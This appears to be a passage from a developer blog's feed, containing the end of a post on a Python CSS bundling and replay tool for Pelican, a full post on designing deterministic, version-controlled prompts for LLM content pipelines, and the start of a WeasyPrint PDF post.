&lt;h2&gt;Workflow: From Source to Deployed Bundle&lt;/h2&gt;

&lt;h3&gt;1. Combine&lt;/h3&gt;

&lt;p&gt;You choose two or more assets (originals or other managed bundles)
and give the output a name. The script concatenates them with clear
delimiter comments and saves the result in a managed directory
(&lt;code&gt;css-experiments/managed/&lt;/code&gt;). The &lt;code&gt;sources&lt;/code&gt; list
is flattened: if you include a bundle that itself was created from
&lt;code&gt;A&lt;/code&gt; and &lt;code&gt;B&lt;/code&gt;, the final metadata lists
&lt;code&gt;A&lt;/code&gt; and &lt;code&gt;B&lt;/code&gt; as sources, not the intermediate
bundle. This gives you a clean dependency tree.&lt;/p&gt;

&lt;h3&gt;2. Purge&lt;/h3&gt;

&lt;p&gt;Select a CSS file (original or managed) and choose one or more
content patterns that cover the HTML pages where the styles will be
used. The script runs &lt;code&gt;purgecss&lt;/code&gt; and registers the output as
a new managed asset. The recipe stores the source and the content
patterns so they can be reused later.&lt;/p&gt;

&lt;h3&gt;3. Minify&lt;/h3&gt;

&lt;p&gt;Similar to purging – pick a CSS file, choose an output name, and the
script runs &lt;code&gt;csso&lt;/code&gt;. The recipe records the source file.&lt;/p&gt;

&lt;h3&gt;4. Copy&lt;/h3&gt;

&lt;p&gt;The generic copy option (8) lets you copy any managed asset to
standard site directories. For quick tests, though, I rely on option 9
– it always copies into &lt;code&gt;output/theme/css/newcss/&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;The Recipe System&lt;/h2&gt;

&lt;p&gt;The heart of the tool is the &lt;code&gt;replay_asset&lt;/code&gt; function. It
walks the recipe graph recursively, ensuring that every upstream
dependency is rebuilt before the target asset is regenerated. This
guarantees that if you edit &lt;code&gt;articles-cards.css&lt;/code&gt; and ask to
redeploy a bundle that includes it, the bundle is reassembled from the
updated source.&lt;/p&gt;

&lt;p&gt;Replay logic for each operation:&lt;/p&gt;

&lt;ul class="compact-list"&gt;
&lt;li&gt;&lt;strong&gt;Combine:&lt;/strong&gt; re‑reads every source file and writes the concatenated output.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Purge:&lt;/strong&gt; invokes &lt;code&gt;purgecss&lt;/code&gt; with the stored content patterns.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Minify:&lt;/strong&gt; invokes &lt;code&gt;csso&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the recipes are plain JSON, the system is fully transparent.
You can inspect or even hand‑edit &lt;code&gt;metadata.json&lt;/code&gt; to tweak
a pipeline without going through the interactive menu.&lt;/p&gt;

&lt;h2&gt;“Deploy Again” – The Shortcut That Saves the Day&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;deploy_again&lt;/code&gt; function is a one‑shot replay and
deploy. It presents a list of replayable assets, lets you pick one,
then calls &lt;code&gt;replay_asset&lt;/code&gt; and copies the resulting file to
&lt;code&gt;output/theme/css/newcss/&lt;/code&gt;. This is the only option I use
during active development.&lt;/p&gt;

&lt;p&gt;Here’s the code that makes it possible:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

def replay_asset(asset_key, _visited=None):
    if _visited is None:
        _visited = set()
    if asset_key in _visited:
        print("⚠ Circular dependency detected, skipping.")
        return True
    _visited.add(asset_key)

    info = metadata[asset_key]
    if info["type"] == "original":
        return True

    recipe = info.get("recipe")
    if not recipe:
        print(f"❌ No recipe stored for {short_name(asset_key)} – cannot replay.")
        return False

    op = recipe["operation"]

    if op == "combine":
        for src_key in recipe["sources"]:
            if metadata[src_key]["type"] != "original":
                replay_asset(src_key, _visited)
        # ... write concatenated file ...

    elif op == "purge":
        src_key = recipe["source"]
        if metadata[src_key]["type"] != "original":
            replay_asset(src_key, _visited)
        # ... run purgecss ...

    elif op == "minify":
        src_key = recipe["source"]
        if metadata[src_key]["type"] != "original":
            replay_asset(src_key, _visited)
        # ... run csso ...
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;The recursion guarantees that if your minified bundle depends on a
purged file that depends on a combined bundle, the entire chain is
executed in the correct order.&lt;/p&gt;

&lt;h2&gt;Integration with Pelican&lt;/h2&gt;

&lt;p&gt;I modified my theme templates to include a single CSS link that
points to the file inside &lt;code&gt;newcss/&lt;/code&gt;. For example, in
&lt;code&gt;article.html&lt;/code&gt;:&lt;/p&gt;

&lt;pre class="language-html"&gt;
&lt;code class="language-html"&gt;

&amp;lt;link rel="stylesheet" href="{{ SITEURL }}/theme/css/newcss/article-bundle.min.css"&amp;gt;
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;During development, that file is generated by the manager and
overwritten on every “deploy again”. Once I’m satisfied, I copy the
final bundle into the standard theme CSS folder, update the template
link, and rebuild the full site to freeze the production version.&lt;/p&gt;

&lt;h2&gt;Performance Impact&lt;/h2&gt;

&lt;p&gt;Consolidating multiple CSS files into one per template eliminated
all extra render‑blocking requests. For my article template, the
number of CSS requests dropped from 7 to 1. Combined with purging,
the total CSS payload shrank by roughly 40% because unused Bootstrap
and syntax‑highlighting rules were removed.&lt;/p&gt;

&lt;p&gt;The replay itself is fast: a combine + purge + minify pipeline takes
about 2–3 seconds on my machine. That’s compared to the 20‑second
Pelican rebuild I used to endure.&lt;/p&gt;

&lt;h2&gt;Why Not Use an Existing Bundler?&lt;/h2&gt;

&lt;p&gt;Tools like Webpack or Parcel are overkill for a static site that’s
already assembled by Pelican. I wanted something that:&lt;/p&gt;

&lt;ul class="compact-list"&gt;
&lt;li&gt;Understands Pelican’s output directory structure&lt;/li&gt;
&lt;li&gt;Works with pre‑existing CSS files without a build step&lt;/li&gt;
&lt;li&gt;Keeps the pipeline transparent and inspectable&lt;/li&gt;
&lt;li&gt;Integrates with the CLI rather than a configuration file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The recipe system is the differentiator. It’s not just a build
script; it’s a build journal that can be replayed on demand.&lt;/p&gt;

&lt;h2&gt;Potential Improvements&lt;/h2&gt;

&lt;p&gt;The script is currently a standalone interactive tool. In the future
I plan to add:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Watch mode:&lt;/strong&gt; use &lt;code&gt;watchdog&lt;/code&gt; or a
simple polling loop to replay recipes automatically when source files
change.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Multiple output profiles:&lt;/strong&gt; support deploying
to different directories for different environments (staging,
production).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Diff‑aware purging:&lt;/strong&gt; only re‑purge if the
source CSS or HTML content has changed.&lt;/p&gt;

&lt;h2&gt;Final Thoughts&lt;/h2&gt;

&lt;p&gt;This tool removed the biggest friction point in my Pelican theme
development. I can now iterate on styles as fast as I can switch to the
browser and hit refresh. The recipe system means I never lose track of
how a bundle was built, and I can hand off the entire pipeline to a
colleague (or my future self) by just sharing the
&lt;code&gt;metadata.json&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;The source code is available in my &lt;a href="https://github.com/mosaid/pelican-tools"&gt;Pelican tools repository&lt;/a&gt;.
If you’re battling render‑blocking CSS or a slow build‑and‑test loop,
this approach might fit your workflow as well as it did mine.&lt;/p&gt;</content><category term="Programming"></category><category term="pelican"></category><category term="css"></category><category term="build tools"></category><category term="web performance"></category><category term="purgecss"></category><category term="csso"></category><category term="automation"></category><category term="deterministic workflows"></category><category term="static site"></category><category term="python"></category></entry><entry><title>Engineering Deterministic Prompts for LLM Agents: A Systems Design Approach</title><link href="https://mosaid.xyz/articles/engineering-deterministic-prompts-for-llm-agents-a-systems-design-approach-18.html" rel="alternate"></link><published>2026-05-26T23:37:52+00:00</published><updated>2026-05-26T23:37:52+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-05-26:/articles/engineering-deterministic-prompts-for-llm-agents-a-systems-design-approach-18.html</id><summary type="html">&lt;p&gt;A practical engineering framework for designing LLM agent prompts as deterministic, version-controlled specifications. This article breaks down prompt architecture into composable layers — tone specification, structural constraints, output format enforcement, and metadata extraction — treating LLM agents as programmable infrastructure rather than conversational tools. Engineers and developers will learn how to build prompts that produce consistent, machine-parseable outputs suitable for automated pipelines.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;The Problem: LLMs Are Powerful but Unpredictable&lt;/h2&gt;

&lt;p&gt;Every engineer who has worked with LLMs for more than a weekend eventually hits the same wall: the model produces beautiful output on Tuesday and hallucinated garbage on Wednesday. The same prompt, the same model, the same parameters — different results. For chatbots, this variability is tolerable. For automated pipelines, it is catastrophic.&lt;/p&gt;

&lt;p&gt;I build static site tooling that depends on deterministic LLM output. My Pelican article generator ingests a specification, produces structured files, and feeds them into downstream SVG renderers, TOML parsers, and assembly scripts. If the LLM decides to output Markdown instead of HTML, or omits &lt;code&gt;thumbnail_meta.toml&lt;/code&gt; entirely, the pipeline breaks silently.&lt;/p&gt;

&lt;p&gt;This article documents the prompting architecture I developed to solve that problem. It is not a general guide to "writing better prompts." It is a systems design approach to treating LLM agents as programmable, composable, version-controlled infrastructure components.&lt;/p&gt;

&lt;h2&gt;Why Conversational Prompting Fails for Automation&lt;/h2&gt;

&lt;p&gt;The dominant paradigm for LLM interaction — casual back-and-forth conversation — emerged from chatbot interfaces. You ask a question, the model responds. You refine, it refines. This works for exploration but fails for automation for three reasons:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Non-determinism:&lt;/strong&gt; Natural language is inherently ambiguous. "Write a good article" means nothing precise enough for a machine to execute consistently.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;No structural contract:&lt;/strong&gt; Conversations produce unstructured text. If your pipeline expects a TOML file with specific keys, a conversational prompt provides zero guarantees.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Impossible versioning:&lt;/strong&gt; How do you diff two conversations? You cannot meaningfully track changes to a prompt when the prompt is "uh, try making it sound more professional."&lt;/p&gt;

&lt;p&gt;The engineering response to these failures is not to abandon LLMs — it is to stop treating them like conversation partners and start treating them like programmable systems with defined interfaces.&lt;/p&gt;

&lt;h2&gt;The Core Insight: Prompts as Machine-Readable Specifications&lt;/h2&gt;

&lt;p&gt;Look at the prompt that generated this article. It is not a casual request. It is a 300-line specification document with clearly delimited sections, explicit formatting rules, output contracts, and fallback behavior definitions. That structure is not incidental — it is the entire mechanism by which the system achieves repeatability.&lt;/p&gt;

&lt;p&gt;A well-engineered prompt functions like an API schema. It defines:&lt;/p&gt;

&lt;div class="table-wrapper"&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;What It Specifies&lt;/th&gt;
&lt;th&gt;Analogy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Role definition&lt;/td&gt;
&lt;td&gt;Who the model is, what perspective it adopts&lt;/td&gt;
&lt;td&gt;System user in a Linux process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Audience constraints&lt;/td&gt;
&lt;td&gt;Who the output serves, what knowledge to assume&lt;/td&gt;
&lt;td&gt;Target architecture in a compiler&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Output format&lt;/td&gt;
&lt;td&gt;Exact file structure, naming conventions, encoding&lt;/td&gt;
&lt;td&gt;Return type in a function signature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stylistic rules&lt;/td&gt;
&lt;td&gt;Tone, vocabulary restrictions, structural preferences&lt;/td&gt;
&lt;td&gt;Linter configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Examples&lt;/td&gt;
&lt;td&gt;Concrete instances of correct behavior&lt;/td&gt;
&lt;td&gt;Unit tests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fallback logic&lt;/td&gt;
&lt;td&gt;What to do when constraints conflict or data is missing&lt;/td&gt;
&lt;td&gt;Error handling in a try/catch block&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;When you write a prompt this way, you are not asking the model to do something — you are programming it. The distinction matters.&lt;/p&gt;

&lt;h2&gt;Layered Prompt Architecture&lt;/h2&gt;

&lt;p&gt;After iterating through dozens of prompt designs for my Pelican workflow, I settled on a layered architecture. Each layer addresses a specific failure mode independently, making the system composable and debuggable.&lt;/p&gt;

&lt;h3&gt;Layer 1: Identity and Constraints&lt;/h3&gt;

&lt;p&gt;The top layer establishes &lt;em&gt;who&lt;/em&gt; the agent is and &lt;em&gt;what&lt;/em&gt; boundaries it operates within. This is not motivational fluff — it constrains the model's output distribution by anchoring it to a specific persona and knowledge domain.&lt;/p&gt;

&lt;p&gt;In my prompt, this layer includes:&lt;/p&gt;

&lt;pre class="language-text"&gt;
&lt;code class="language-text"&gt;

You are generating articles for a highly technical developer-focused
static website built with Pelican.

The site's audience primarily consists of:
- Linux users
- Power users
- Developers
- Engineers
- Technical writers

Avoid beginner-style fluff and generic marketing language.
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Why this works: LLMs are trained on vast corpora with varying quality. By constraining the output distribution to "engineering documentation" rather than "general web content," you eliminate entire categories of bad output — clickbait, motivational filler, generic introductions — before the model writes a single word.&lt;/p&gt;

&lt;h3&gt;Layer 2: Negative Specification&lt;/h3&gt;

&lt;p&gt;Most prompt advice focuses on telling the model what to do. Equally important is explicitly telling it what &lt;em&gt;not&lt;/em&gt; to do. I call this "negative specification," and it is disproportionately valuable for reducing output variance.&lt;/p&gt;

&lt;p&gt;Consider how my prompt handles tone:&lt;/p&gt;

&lt;pre class="language-text"&gt;
&lt;code class="language-text"&gt;

Avoid:
- excessive hype
- clickbait language
- motivational filler
- generic introductions
- AI-sounding transitions
- generic beginner tutorials
- shallow introductions
- excessive emojis
- generic AI phrasing
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Each negative constraint eliminates a failure mode I encountered in earlier prompt iterations. The list grew organically through testing: run the prompt, observe a failure pattern, add a negative constraint targeting that pattern, repeat.&lt;/p&gt;

&lt;h3&gt;Layer 3: Structural Contract&lt;/h3&gt;

&lt;p&gt;This is the most critical layer for automation. It specifies the exact output format the agent must produce — not as a suggestion, but as a non-negotiable contract.&lt;/p&gt;

&lt;p&gt;The key design decisions in my structural contract:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Directory-based output instead of single file:&lt;/strong&gt; A flat Markdown file is easy for humans but terrible for machines. By requiring a directory with named files, I enable downstream tools to consume specific outputs without parsing. The SVG banner generator reads &lt;code&gt;banner_meta.toml&lt;/code&gt; directly — it never touches the article body.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;HTML body instead of Markdown:&lt;/strong&gt; This forces the model to think structurally. Markdown encourages ambiguity ("just write some headers and paragraphs"). HTML forces explicit section boundaries, class names, and semantic elements.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Metadata sidecars:&lt;/strong&gt; TOML files for banner and thumbnail metadata separate content from presentation. The LLM extracts structured data (terminal commands, code snippets, quotes) into machine-parseable files that feed deterministic SVG generators.&lt;/p&gt;

&lt;h3&gt;Layer 4: Formatting Micro-Specifications&lt;/h3&gt;

&lt;p&gt;Even with a structural contract, LLMs produce inconsistent formatting. My prompt includes surgical rules that address specific recurring problems:&lt;/p&gt;

&lt;pre class="language-html"&gt;
&lt;code class="language-html"&gt;

&amp;lt;!-- Exact code block structure --&amp;gt;
&amp;lt;pre class="language-python"&amp;gt;
&amp;lt;code class="language-python"&amp;gt;
&amp;lt;!-- code here --&amp;gt;
&amp;lt;/code&amp;gt;
&amp;lt;/pre&amp;gt;

&amp;lt;!-- CRITICAL: newline between pre and code --&amp;gt;
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This rule exists because the Pelican static site generator processes HTML code blocks with specific expectations. A missing newline between &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; breaks syntax highlighting. The constraint is not stylistic — it is a compatibility requirement.&lt;/p&gt;

&lt;p&gt;Similarly, the &lt;code&gt;&amp;#123;&amp;#37; raw &amp;#37;&amp;#125;...&amp;#123;&amp;#37; endraw &amp;#37;&amp;#125;&lt;/code&gt; rule exists because Pelican uses Jinja2 templating, and Python code containing &lt;code&gt;&amp;#123;&amp;#123;&lt;/code&gt; or &lt;code&gt;&amp;#123;&amp;#37;&lt;/code&gt; would be interpreted as template syntax without escaping.&lt;/p&gt;

&lt;h3&gt;Layer 5: Fallback Logic&lt;/h3&gt;

&lt;p&gt;Production prompts must handle edge cases. My specification includes explicit fallback behavior for the delivery mechanism:&lt;/p&gt;

&lt;div class="table-wrapper"&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Condition&lt;/th&gt;
&lt;th&gt;Behavior&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Platform supports binary downloads&lt;/td&gt;
&lt;td&gt;Output ZIP file containing article directory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Platform only supports text output&lt;/td&gt;
&lt;td&gt;Output self-contained bash script that recreates directory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uncertain platform capability&lt;/td&gt;
&lt;td&gt;Default to shell script (safer)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;This fallback logic is not optional — without it, the entire automation pipeline breaks when the AI platform changes its output capabilities. The prompt anticipates failure modes and specifies recovery behavior.&lt;/p&gt;

&lt;h2&gt;Composability Through File Separation&lt;/h2&gt;

&lt;p&gt;One of the subtlest but most important design decisions in my prompt architecture is the separation of concerns across files. Consider the metadata flow:&lt;/p&gt;

&lt;pre class="language-text"&gt;
&lt;code class="language-text"&gt;

body.html          → Pelican article content
banner_meta.toml   → SVG banner generator input
thumbnail_meta.toml→ SVG thumbnail generator input
tags.txt           → SEO metadata, tag pages
category.txt       → Site taxonomy
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Each file is independently consumable. The banner generator does not need to parse HTML. The tag indexer does not need to extract TOML. This composability means I can modify one component of the pipeline without touching others — the same property that makes Unix pipes powerful.&lt;/p&gt;

&lt;h2&gt;Testing Prompts Like Code&lt;/h2&gt;

&lt;p&gt;If prompts are specifications, they deserve testing. My workflow includes a validation script that runs after every prompt iteration:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

import os
import tomllib

def validate_article_directory(path):
    required_files = [
        'title.txt', 'summary.txt', 'subtitle.txt',
        'bannertitle.txt', 'thumbtitle.txt',
        'category.txt', 'tags.txt', 'body.html',
        'banner_meta.toml', 'thumbnail_meta.toml'
    ]

    for f in required_files:
        assert os.path.exists(os.path.join(path, f)), f"Missing: {f}"

    # Validate TOML is parseable
    with open(os.path.join(path, 'banner_meta.toml'), 'rb') as fh:
        tomllib.load(fh)

    # Validate HTML contains no placeholder text
    with open(os.path.join(path, 'body.html')) as fh:
        html = fh.read()
        assert 'insert here' not in html.lower()
        assert 'todo' not in html.lower()

    print("✓ All validations passed")

validate_article_directory('./article')
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This script catches the most common failure modes: missing files, unparseable TOML, and placeholder text the LLM sometimes inserts when it runs out of context. Running it after every generation turns prompt engineering from a subjective art into a measurable engineering practice.&lt;/p&gt;

&lt;h2&gt;Version-Controlled Prompt Evolution&lt;/h2&gt;

&lt;p&gt;My prompts live in Git alongside the code they help generate. This enables practices that are standard for software but rare for prompts:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Diffs between prompt versions:&lt;/strong&gt; When output quality changes, I can trace it to specific prompt modifications.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Branching for experimentation:&lt;/strong&gt; I can fork a prompt, modify the tone layer, and compare output distributions without losing the stable version.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Rollbacks:&lt;/strong&gt; If a new prompt version introduces regressions, &lt;code&gt;git checkout prompts/v2/system.txt&lt;/code&gt; restores the known-good specification.&lt;/p&gt;

&lt;p&gt;A typical prompt repository structure:&lt;/p&gt;

&lt;pre class="language-text"&gt;
&lt;code class="language-text"&gt;

prompts/
├── v1/
│   ├── system.txt          # Full system prompt
│   ├── output_spec.yaml    # Machine-readable output contract
│   └── test_cases/
│       ├── expected_output/
│       └── validation.py
├── v2/
│   ├── system.txt
│   ├── output_spec.yaml
│   └── CHANGELOG.md        # Why this version exists
└── current → v2            # Symlink to active version
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Why This Approach Produces Better Technical Content&lt;/h2&gt;

&lt;p&gt;The architecture I have described does not just make LLM output more predictable — it produces fundamentally better technical articles. Here is why:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Structural constraints force depth:&lt;/strong&gt; When a prompt requires directory-structured output with specific metadata files, the model cannot produce shallow content. Surface-level articles cannot fill a &lt;code&gt;body.html&lt;/code&gt; that expects architectural diagrams, tradeoff analysis, and implementation details.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Negative constraints eliminate filler:&lt;/strong&gt; Explicitly forbidding "motivational filler" and "generic introductions" forces the model into the substantive content immediately. Every paragraph must carry technical weight.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Audience constraints anchor complexity:&lt;/strong&gt; Specifying "Linux users, power users, developers" as the audience prevents the model from drifting toward beginner explanations. It assumes competence and writes accordingly.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Example-driven specification reduces ambiguity:&lt;/strong&gt; Concrete examples of preferred titles ("Building a Static Site Search Engine Without External Services") communicate intent more precisely than abstract descriptions ("professional titles").&lt;/p&gt;

&lt;h2&gt;Practical Patterns for Production Prompts&lt;/h2&gt;

&lt;p&gt;Here are patterns I have validated across multiple prompt architectures. They generalize beyond my Pelican use case to any scenario where LLM output feeds into automated pipelines.&lt;/p&gt;

&lt;h3&gt;Pattern 1: The Output Contract Table&lt;/h3&gt;

&lt;p&gt;Instead of describing the output format in prose, specify it as a structured table:&lt;/p&gt;

&lt;pre class="language-text"&gt;
&lt;code class="language-text"&gt;

| File | Format | Purpose | Required |
|------|--------|---------|----------|
| body.html | HTML | Article content | Yes |
| tags.txt | Comma-separated plaintext | SEO tags | Yes |
| banner_meta.toml | TOML | Banner decoration data | No |
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Tables reduce ambiguity. The model either produces the specified files or it does not — there is no room for interpretation.&lt;/p&gt;

&lt;h3&gt;Pattern 2: The Concrete-Before-Abstract Rule&lt;/h3&gt;

&lt;p&gt;Always provide a concrete example before stating the abstract rule. This exploits the LLM's pattern-matching capabilities: it mimics the example, then the rule clarifies the generalization.&lt;/p&gt;

&lt;p&gt;Bad (abstract first): "Use engineering-focused titles that avoid hype."&lt;/p&gt;
&lt;p&gt;Good (concrete first): "Example: 'Building a Static Site Search Engine Without External Services.' This style — engineering-focused, descriptive, avoiding hype — should characterize all titles."&lt;/p&gt;

&lt;h3&gt;Pattern 3: Explicit Enumeration of Failure Modes&lt;/h3&gt;

&lt;p&gt;Instead of hoping the model avoids problems, list them:&lt;/p&gt;

&lt;pre class="language-text"&gt;
&lt;code class="language-text"&gt;

Common failure modes to guard against:
- Outputting Markdown when HTML is specified
- Omitting the newline between &amp;lt;pre&amp;gt; and &amp;lt;code&amp;gt;
- Inserting placeholder text instead of generating content
- Producing empty TOML arrays when data is unavailable
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This is the prompt equivalent of defensive programming. You are handling exceptions before they occur.&lt;/p&gt;

&lt;h3&gt;Pattern 4: The Minimum Viable Output Constraint&lt;/h3&gt;

&lt;p&gt;When output is optional, specify exactly when to omit it:&lt;/p&gt;

&lt;pre class="language-text"&gt;
&lt;code class="language-text"&gt;

- If no suitable commands exist, omit the key entirely
  (do not create an empty array).
- Never include a key with an empty value.
- If you cannot fill a key with real content, delete it
  from the file.
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This prevents the model from producing &lt;code&gt;terminal_commands = []&lt;/code&gt; when it should produce nothing at all — a distinction that matters when downstream parsers treat empty arrays differently from missing keys.&lt;/p&gt;

&lt;h2&gt;Tradeoffs and Limitations&lt;/h2&gt;

&lt;p&gt;This approach is not free. The costs are real and worth acknowledging:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Prompt length:&lt;/strong&gt; A 300-line specification consumes context window budget. For complex tasks, this is unavoidable — precision requires verbosity. But for simple tasks, shorter prompts with fewer constraints may suffice.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Rigidity:&lt;/strong&gt; Highly specified prompts reduce creative output. My article generator produces consistent results, but it will never surprise me with an unexpectedly brilliant structural innovation. That tradeoff is acceptable for automation; it may not be for exploratory writing.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Maintenance burden:&lt;/strong&gt; Prompts require updates when downstream systems change. If I modify my SVG generator to expect a new TOML key, the prompt must be updated, tested, and versioned. This is engineering overhead, but it is preferable to silently broken pipelines.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Model dependence:&lt;/strong&gt; Different models interpret the same specification differently. A prompt optimized for Claude may produce different results on GPT-4 or open-source models. Multi-model pipelines require cross-validation.&lt;/p&gt;

&lt;h2&gt;Integration with CI/CD Pipelines&lt;/h2&gt;

&lt;p&gt;The final stage of treating prompts as infrastructure is integrating them into automated pipelines. My article generation workflow now runs as part of a CI pipeline:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;

# .github/workflows/generate-article.yml
steps:
  - name: Generate article from prompt
    run: |
      python generate_article.py \
        --prompt prompts/current/system.txt \
        --topic "$TOPIC" \
        --output article/

  - name: Validate output structure
    run: python validate_article.py article/

  - name: Commit generated article
    run: |
      git add article/
      git commit -m "Auto-generated article: $TOPIC"
      git push
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This pipeline transforms LLM prompting from an ad-hoc manual process into a repeatable, auditable, automated step in a larger build system. The prompt is source code. The LLM is a compiler. The output is an artifact.&lt;/p&gt;

&lt;h2&gt;Conclusion: Prompts Are Infrastructure&lt;/h2&gt;

&lt;p&gt;The fundamental shift in thinking that makes LLM automation reliable is this: prompts are not conversations. They are machine-readable specifications that produce structured output from unstructured language models. Designing them requires the same discipline as designing APIs, writing schemas, or specifying compiler behavior.&lt;/p&gt;

&lt;p&gt;My Pelican article generation prompt works reliably not because I found magic words, but because I treated it as an engineering problem: identify failure modes, specify constraints precisely, separate concerns into composable files, test outputs programmatically, and version everything.&lt;/p&gt;

&lt;p&gt;If you are building LLM-powered automation — whether for content generation, code review, data extraction, or report synthesis — the same principles apply. Design your prompts like you would design any other component in a production system. Define the interface. Specify the contract. Handle the edge cases. Test the output.&lt;/p&gt;

&lt;p&gt;The LLM is the most powerful parsing and generation engine ever built. But like any powerful tool, it requires precise controls. Prompts are those controls. Engineer them accordingly.&lt;/p&gt;

&lt;h2&gt;Further Reading and References&lt;/h2&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Anthropic's prompt engineering guide:&lt;/strong&gt; While more conversational in tone, it contains useful patterns for structuring complex instructions.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;OpenAI's function calling documentation:&lt;/strong&gt; For use cases where structured JSON output is sufficient, function calling provides a more rigid contract than free-text prompting.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;DSPy framework:&lt;/strong&gt; For teams ready to move beyond manual prompt engineering, DSPy provides programmatic prompt optimization with automatic evaluation.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;The Pelican static site generator:&lt;/strong&gt; The system that motivated this prompting architecture. Its emphasis on determinism and file-based workflows influenced the design patterns described here.&lt;/p&gt;</content><category term="Programming"></category><category term="llm"></category><category term="prompt engineering"></category><category term="ai agents"></category><category term="automation"></category><category term="systems design"></category><category term="developer workflows"></category><category term="deterministic systems"></category><category term="infrastructure-as-code"></category><category term="claude"></category><category term="gpt"></category></entry><entry><title>Jinja2 to PDF: Modern HTML-to-PDF Generation with WeasyPrint</title><link href="https://mosaid.xyz/articles/jinja2-to-pdf-modern-html-to-pdf-generation-with-weasyprint-16.html" rel="alternate"></link><published>2026-05-26T16:55:19+00:00</published><updated>2026-05-26T16:55:19+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-05-26:/articles/jinja2-to-pdf-modern-html-to-pdf-generation-with-weasyprint-16.html</id><summary type="html">&lt;p&gt;A production-grade walkthrough for generating PDFs from Jinja2 templates using WeasyPrint. This article covers template design, CSS print styling, page layout control, and integration into automated document pipelines — replacing deprecated wkhtmltopdf workflows with a modern, reproducible Python-native approach.&lt;/p&gt;</summary><content type="html">&lt;p&gt;For years, &lt;code&gt;wkhtmltopdf&lt;/code&gt; was the go-to tool for converting HTML to PDF in Python workflows. It worked — until it didn't. The project is now effectively unmaintained, Qt WebKit bindings are brittle, and headless Chrome solutions like Playwright introduce heavy runtime dependencies that feel absurd for a document generation pipeline.&lt;/p&gt;

